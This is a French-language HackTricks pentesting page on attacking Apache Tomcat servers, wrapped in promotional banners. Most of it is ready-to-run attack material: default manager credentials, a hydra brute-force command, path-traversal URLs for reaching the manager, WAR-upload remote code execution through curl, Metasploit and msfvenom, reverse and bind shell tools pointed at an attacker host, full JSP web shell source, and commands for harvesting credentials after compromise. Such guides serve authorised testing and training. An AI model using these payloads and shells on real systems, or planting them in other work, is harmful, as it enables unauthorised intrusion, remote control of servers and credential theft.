# Tomcat
Apprenez le piratage AWS de zéro à héros avechtARTE (Expert en équipe rouge AWS de HackTricks)!
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Découverte
* Il fonctionne généralement sur le **port 8080**
* **Erreur courante de Tomcat:**
## Énumération
### **Identification de la version**
Pour trouver la version d'Apache Tomcat, une commande simple peut être exécutée:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Emplacement des Fichiers du Gestionnaire**
Identifier les emplacements exacts des répertoires **`/manager`** et **`/host-manager`** est crucial car leurs noms pourraient être modifiés. Une recherche par force brute est recommandée pour localiser ces pages.
### **Énumération des Noms d'Utilisateur**
Pour les versions de Tomcat antérieures à 6, il est possible d'énumérer les noms d'utilisateur à travers :
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Informations d'identification par défaut**
Le répertoire **`/manager/html`** est particulièrement sensible car il permet le téléchargement et le déploiement de fichiers WAR, ce qui peut entraîner l'exécution de code. Ce répertoire est protégé par une authentification HTTP de base, avec des informations d'identification courantes telles que :
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Ces informations d'identification peuvent être testées en utilisant :
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Une autre répertoire notable est **`/manager/status`**, qui affiche la version de Tomcat et du système d'exploitation, facilitant l'identification des vulnérabilités.
### **Attaque par Force Brute**
Pour tenter une attaque par force brute sur le répertoire du gestionnaire, on peut utiliser :
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Vulnérabilités Courantes
### **Divulgation de Trace de Mot de Passe**
Accéder à `/auth.jsp` peut révéler le mot de passe dans une trace de mot de passe dans des circonstances favorables.
### **Encodage d'URL Double**
La vulnérabilité CVE-2007-1860 dans `mod_jk` permet un encodage d'URL double pour la traversée de chemin, permettant un accès non autorisé à l'interface de gestion via une URL spécialement conçue.
Pour accéder à l'interface web de gestion de Tomcat, allez à : `cheminTomcat/%252E%252E/manager/html`
### /examples
Les versions d'Apache Tomcat de 4.x à 7.x incluent des scripts d'exemple qui sont susceptibles de divulgation d'informations et d'attaques de script entre sites (XSS). Ces scripts, énumérés de manière exhaustive, doivent être vérifiés pour un accès non autorisé et une exploitation potentielle. Trouvez [plus d'informations ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Exploitation de Traversée de Chemin**
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
**Une autre façon** de contourner les chemins protégés en utilisant ce truc est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Enfin, si vous avez accès au Gestionnaire d'Applications Web Tomcat, vous pouvez **téléverser et déployer un fichier .war (exécuter du code)**.
### Limitations
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Coquille inversée MSFVenom
1. Créez le war à déployer :
```bash
msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
### Liens et coquilles avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
#### Télécharger
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Coquille inversée
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
#### Coquille de liaison
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### Utilisation de [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Méthode manuelle - Coquille Web
Créez **index.jsp** avec ce [contenu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### Méthode manuelle 2
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Le nom du fichier d'identifiants de Tomcat est _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Autres moyens de collecter les identifiants Tomcat :
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Autres outils de scan Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Références
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
Apprenez le piratage AWS de zéro à héros avechtARTE (Expert en équipe rouge AWS de HackTricks)!
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).